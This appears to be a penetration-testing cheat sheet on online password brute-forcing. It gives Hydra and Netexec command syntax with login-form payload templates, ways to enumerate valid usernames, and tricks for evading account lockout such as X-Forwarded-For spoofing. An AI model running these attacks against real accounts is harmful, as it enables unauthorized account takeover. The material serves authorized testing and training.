# Online

Unlike offline cracking, the online attack must take into consideration:

<table data-header-hidden><thead><tr><th width="277"></th><th></th></tr></thead><tbody><tr><td><strong>Lockout threshold</strong></td><td>Possible attempts before being blocked</td></tr><tr><td><strong>Lockout duration</strong></td><td>Duration of the block</td></tr><tr><td><strong>Lockout observation window</strong></td><td>After how long does the reset of attempts occur</td></tr></tbody></table>

## [Hydra](https://github.com/vanhauser-thc/thc-hydra)

{% code overflow="wrap" %}

```bash
hydra -L <USERS.list> -P <PASS.list> [-s <PORT>] <IP> <SERVICE>
hydra -L <USERS.list> -P <PASS.list> <SERVICE>://<IP>:<PORT>
```

{% endcode %}

Proxy:  `export HYDRA_PROXY_HTTP="http://127.0.0.1:8080/"`

{% code overflow="wrap" %}

```bash
-C <USER:PASS.list>
-l <SINGLE_USER>
-p <SINGLE_PASS>
-U <SERVICE> # Service info
-e nsr # try NoPass, SameUser and ReverseUser as password
-u # Try all users on passwords instead of trying all passwords on users
-f # Ends on the first success
```

{% endcode %}

### Website

{% code overflow="wrap" %}

```bash
hydra -U http-post-form
```

{% endcode %}

{% code overflow="wrap" %}

```bash
http-post-form "/index.php:usr=^USER^&pas=^PASS^:Login failed. Invalid"
http-post-form "/index.php:usr=^USER^&pas=^PASS^:F=403"
http-post-form "/index.php:usr=^USER64^&pas=^PASS64^:F=403"
```

{% endcode %}

*Get the data (index.php, usr, pas, and “Login failed. Invalid”) by analyzing the http request.*

To **find usernames** take into consideration:

* Login form
* Registration form\
  \&#xNAN;*(to use the same email: **dot s.t.u.d.e.n.t**@gmail.com, **tag** studen&#x74;**+htb**@gmail.com)*
* Password reset form
* Check cookie\
  \&#xNAN;*(ex. cookie named “failed\_login” only when the user name is valid.)*
* Response time (use long password)
* Status codes
* Error messages
* Blocking of attempts only if made on an existing username

## [Netexec](https://www.netexec.wiki/)

{% code overflow="wrap" %}

```bash
nxc [smb/winrm/mssql/ssh/ftp/rdp/wmi] <IP> -u <USERS.list> -p <PASS.list>
```

{% endcode %}

{% code overflow="wrap" %}

```bash
--continue-on-success
--no-bruteforce # Try all users on passwords instead of trying all passwords on users
```

{% endcode %}

## Bypass Account Locking

* Search for headers that bypass IP blocking (ex. `X-Forwarded-For`)
* Try a correct login on your account to reset attempts (with macro in Burp set max 1 concurrent requests)


---

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